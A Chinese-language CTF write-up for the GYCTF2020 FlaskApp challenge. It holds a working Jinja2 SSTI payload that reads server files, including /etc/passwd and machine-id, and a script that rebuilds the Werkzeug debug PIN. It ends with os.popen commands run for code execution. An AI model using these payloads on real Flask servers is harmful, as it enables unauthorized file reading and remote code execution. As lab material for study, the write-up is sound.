[GYCTF2020]FlaskApp WriteUp


考點:SSTI-Flask、Flask Debug模式、Flask PIN碼

參考:

[題解]https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html

[Flask Debug RCE利用]https://zhuanlan.zhihu.com/p/32138231

[Flask Debug PIN碼生成機制]https://www.cnblogs.com/HacTF/p/8160076.html

1.獲取提示

URL:/hint

提示:失敗乃成功之母!!

指的是Debug模式,則需利用Flask Debug模式

2.獲取報錯信息

URL:/decode

base64解密界面隨意輸入字符串,導致解碼報錯,進入Debug頁面,嘗試進入Debug Console,發現需要PIN碼

得到如下信息

  • Python版本:3.7
  • 文件地址:/usr/local/lib/python3.7/site-packages/flask/app.py
  • 可能存在SSTI,來源(Debug源碼泄露) :return self.view_functions[rule.endpoint](**req.view_args)

2.SSTI讀取關鍵文件

2-1 SSTI讀取文件

 由於是Python 3.7,框架為Flask,我們使用的exp如下(其中filename為想要讀取的文件)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

base64加密后,放入題目中解密即可

2-2 必須的信息

通過PIN碼生成機制可知,需要獲取如下信息

  1. 服務器運行flask所登錄的用戶名。通過/etc/passwd中可以猜測為flaskweb 或者root,此處用的flaskweb
  2. modname一般不變就是flask.app
  3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python該值一般為Flask,該值一般不變
  4. flask庫下app.py的絕對路徑報錯信息會泄露該值。題中為/usr/local/lib/python3.7/site-packages/flask/app.py
  5. 當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address 獲取(eth0為網卡名),本題為02:42:ae:01:0d:25,轉換后為2485410401573
  6. 機器的id

mac地址轉換代碼

mac ='02:42:ae:01:0d:25'.replace(':','')
print(int(mac,base=16))

2-3 獲取機器的ID

對於非docker機每一個機器都會有自已唯一的id

Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件

Windows:閱讀參考鏈接

docker機:/proc/self/cgroup

本題讀取到/proc/self/cgroup如下

則ID為:eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990

3.計算PIN碼

生成文件路徑:{Python Lib根目錄}\site-packages\werkzeug\debug\__init__.py

本題中路徑:/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py (讀取失敗)

改為下載Flask源碼進行研究,通關精簡,最后的生成代碼如下

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服務器運行flask所登錄的用戶名
    'flask.app',#modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask庫下app.py的絕對路徑
]

private_bits = [
    '2485410401573',#當前網絡的mac地址的十進制數
    'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#機器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

計算得到ID為 147-718-817

4.尋找Flag

由於無法直接獲取到程序回顯,使用 os.popen("exp").read() 代替 os.system("exp") 

os.popen("ls -l /").read()
os.popen("cat /this_is_the_flag.txt").read()

成功讀取到Flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM